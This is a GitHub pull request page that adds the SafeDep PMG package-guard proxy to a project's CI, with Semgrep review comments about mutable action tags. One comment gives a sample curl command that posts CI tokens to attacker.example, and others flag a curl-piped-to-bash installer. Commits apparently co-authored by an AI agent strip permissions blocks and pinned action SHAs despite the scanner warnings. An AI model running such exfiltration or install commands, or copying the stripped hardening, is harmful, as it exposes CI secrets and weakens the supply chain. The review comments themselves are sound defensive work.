ci: integrate SafeDep PMG into GitHub Actions - #364
Conversation
Route package installs through PMG's persistent proxy to block malicious packages in CI. Added to both jobs in ci.yml (test, publish): - permissions: contents: read - safedep/pmg@v1 in server-mode after checkout - pmg proxy stop --fail-on-violation (if: always()) as final step Uses secrets PMG_PUBLIC_REPOS_TOKEN (api-key) and PMG_TENANT_ID (tenant-id).
| - uses: actions/checkout@v2 | ||
|
|
||
| # Start PMG in server mode | ||
| - uses: safedep/pmg@v1 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
The release workflow runs safedep/pmg@v1, a mutable tag, in a job that handles PMG and Maven publishing secrets. Repointing that tag could execute attacker-controlled code during a release and compromise credentials or published artifacts.
More details about this
The publish job runs the third-party safedep/pmg action from the mutable v1 tag. Because this job executes on tag pushes and receives PMG_PUBLIC_REPOS_TOKEN, PMG_TENANT_ID, Maven credentials, and MAVEN_GPG_SECRET_KEY-related signing data, the tag owner—or an attacker who gains control of that repository—could repoint v1 to malicious code without changing this workflow.
A plausible attack would be:
- An attacker moves
safedep/pmg'sv1tag to a compromised action revision. - A release tag such as
v1.2.3starts thispublishjob because ofif: startsWith(github.ref, 'refs/tags/v'). - The compromised action runs before
Build with MavenandPublish package, using the exposedapi-key,tenant-id, and publishing-related environment or secret context to send credentials elsewhere or alter the release process. - The attacker can then publish a tampered Maven artifact with the repository's trusted publishing identity, or use the stolen tokens to access the PMG tenant and other release infrastructure.
To resolve this comment:
✨ Commit fix suggestion
| - uses: safedep/pmg@v1 | |
| - uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1 |
View step-by-step instructions
- Replace
safedep/pmg@v1with the full 40-character commit SHA for the trustedv1release, for example:safedep/pmg@<40-character-commit-sha> # v1. - Apply the same pin to every
safedep/pmg@v1step in this workflow, including the test and publish jobs. - Confirm that the SHA belongs to the intended SafeDep PMG release by checking the action’s official repository and release history. A full commit SHA cannot be silently moved to different code like a tag or branch can.
- Pin the other mutable action references in this workflow, such as
actions/checkout@v2,actions/setup-java@v2, andcodecov/codecov-action@v3, to their trusted 40-character commit SHAs as well. Preserve the release as a comment, such as# v2.
💬 Ignore this finding
Leave a nosemgrep comment directly above or at the end of line 62 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag
Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.
You can view more details about this finding in the Semgrep AppSec Platform.
| uses: actions/checkout@v2 | ||
|
|
||
| # Start PMG in server mode | ||
| - uses: safedep/pmg@v1 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
The safedep/pmg@v1 step follows a mutable tag, so its code can change without a workflow review. A compromised tag could run in the test job and exfiltrate PMG_PUBLIC_REPOS_TOKEN and PMG_TENANT_ID.
More details about this
uses: safedep/pmg@v1 selects the mutable v1 tag rather than an immutable commit. The owner of safedep/pmg (or an attacker who compromises that repository or its release process) could silently move v1 to a malicious commit; the next CI run would execute that code in the test job before the Maven steps.
A plausible attack is:
- The attacker repoints
safedep/pmg'sv1tag to a malicious action version. - A push to
masterstarts thetestjob, which downloads and runs the new code atuses: safedep/pmg@v1. - That code reads the workflow credentials, including
secrets.PMG_PUBLIC_REPOS_TOKENandsecrets.PMG_TENANT_ID, and sends them to an attacker-controlled server, for example with a request equivalent tocurl -X POST -d "token=$PMG_PUBLIC_REPOS_TOKEN&tenant=$PMG_TENANT_ID" https://attacker.example/collect. - The attacker can then use the stolen PMG token against the associated public-repository tenant, while the compromised step can also tamper with the workspace or Maven test and publish results.
Because v1 can change without any edit to this workflow, a previously trusted CI run can begin executing attacker-controlled code on a later run.
To resolve this comment:
✨ Commit fix suggestion
| - uses: safedep/pmg@v1 | |
| - uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1 |
View step-by-step instructions
- Identify the commit SHA for the intended
safedep/pmgrelease by checking the action’s official repository and release history. - Replace the mutable tag with the verified 40-character commit SHA:
uses: safedep/pmg@<40-character-commit-sha>. - Keep the human-readable version as a comment, for example:
uses: safedep/pmg@<40-character-commit-sha> # v1.
💬 Ignore this finding
Leave a nosemgrep comment directly above or at the end of line 23 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag
Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.
You can view more details about this finding in the Semgrep AppSec Platform.
Brings this repo onto the same integration used in ai-playbook and i18nify, with the enforcement fix from blade. - Setup step renamed to "Setup PMG proxy" and given `id: pmg-setup`, so the enforce step can tell whether setup actually ran. - Enforce step runs `--fail-on-violation` only when setup succeeded. With a bare `if: always()`, any failure before the PMG step makes GitHub skip setup while still running enforce, which then dies with `pmg: command not found` (exit 127) and buries the real error. - Removed additions that are not part of the reference integration: `permissions:` blocks, workflow comments, pinned action SHAs and non-standard step names. - Added pmg-test.yml, byte-identical to the copy in ai-playbook and i18nify, which demonstrates the proxy blocking a known-malicious package and syncing the event to SafeDep Cloud. The workflow files are now the master versions plus the two PMG steps and nothing else: 34 lines added, none removed or modified. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
| runs-on: ubuntu-latest | ||
| steps: | ||
| - name: Setup PMG proxy | ||
| uses: safedep/pmg@v1 |
There was a problem hiding this comment.
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.
🧁 Removed in commit 821dded 🧁
| runs-on: ubuntu-latest | ||
| steps: | ||
| - name: Setup PMG proxy | ||
| uses: safedep/pmg@v1 |
There was a problem hiding this comment.
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.
🧼 Removed in commit 821dded 🧼
| run: | | ||
| curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash | ||
| export NVM_DIR="$HOME/.nvm" | ||
| [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" | ||
| nvm install 20 | ||
| echo "$NVM_DIR/versions/node/$(nvm version 20)/bin" >> $GITHUB_PATH | ||
|
|
There was a problem hiding this comment.
A run: step pipes the output of curl or wget directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.
🌟 Removed in commit 821dded 🌟
| run: | | ||
| curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash | ||
| export NVM_DIR="$HOME/.nvm" | ||
| [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" | ||
| nvm install 20 | ||
| echo "$NVM_DIR/versions/node/$(nvm version 20)/bin" >> $GITHUB_PATH | ||
|
|
There was a problem hiding this comment.
A run: step pipes the output of curl or wget directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.
🚀 Removed in commit 821dded 🚀
pmg-test.yml was added alongside the PMG integration purely to prove the proxy behaves correctly inside this repository's own CI environment. It ran two jobs: one installing a known-clean package to confirm PMG does not block legitimate traffic, and one installing the deliberately-flagged safedep-test-pkg@0.1.3 to confirm the block is caught and `pmg proxy stop --fail-on-violation` fails the job as intended. That validation is now complete across every repository in this rollout, so the workflow has served its purpose. Leaving it in place would mean a permanent CI job that installs a deliberately-flagged package on every push and pull request - burning runner time and producing a red check that is expected-to-fail, which is exactly the kind of noise that trains people to ignore CI signal. The PMG integration itself is untouched. The safedep/pmg setup steps and the `pmg proxy stop --fail-on-violation` enforcement steps in this repository's real build and test workflows remain exactly as they were. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
What
Integrates SafeDep PMG (Package Manager Guard) into the CI workflow to block malicious open-source packages at install time in GitHub Actions.
PMG runs as a persistent proxy that starts once per job, intercepts package-manager installs (Maven here) via standard proxy env vars, and auto-blocks any package flagged as malicious.
Changes
Only file touched:
.github/workflows/ci.yml. Applied the doc's per-job lifecycle to both jobs:testjob andpublishjob, each got:permissions: contents: read(job level)safedep/pmg@v1inserver-mode: trueimmediately after checkoutpmg proxy stop --fail-on-violationwithif: always()as the final step (fails the job on a block, flushes events)Existing steps were not reordered, renamed, or modified.
Secrets used
Per our secret naming (differs from doc defaults):
api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }}tenant-id: ${{ secrets.PMG_TENANT_ID }}Scope notes
.github/dependabot.ymlis a Dependabot config (no jobs) → out of scope, untouched.testandpublishare standard step-based jobs (no reusable-workflowuses:at job level), and both install packages on the runner via Maven, so PMG is genuinely useful.pmg-test.ymladded: both jobs already exercise real installs on the runner in the normal CI flow (PR + tag), so a separate test workflow would just duplicate coverage.Verification
yaml.safe_load).Discussion thread: Slack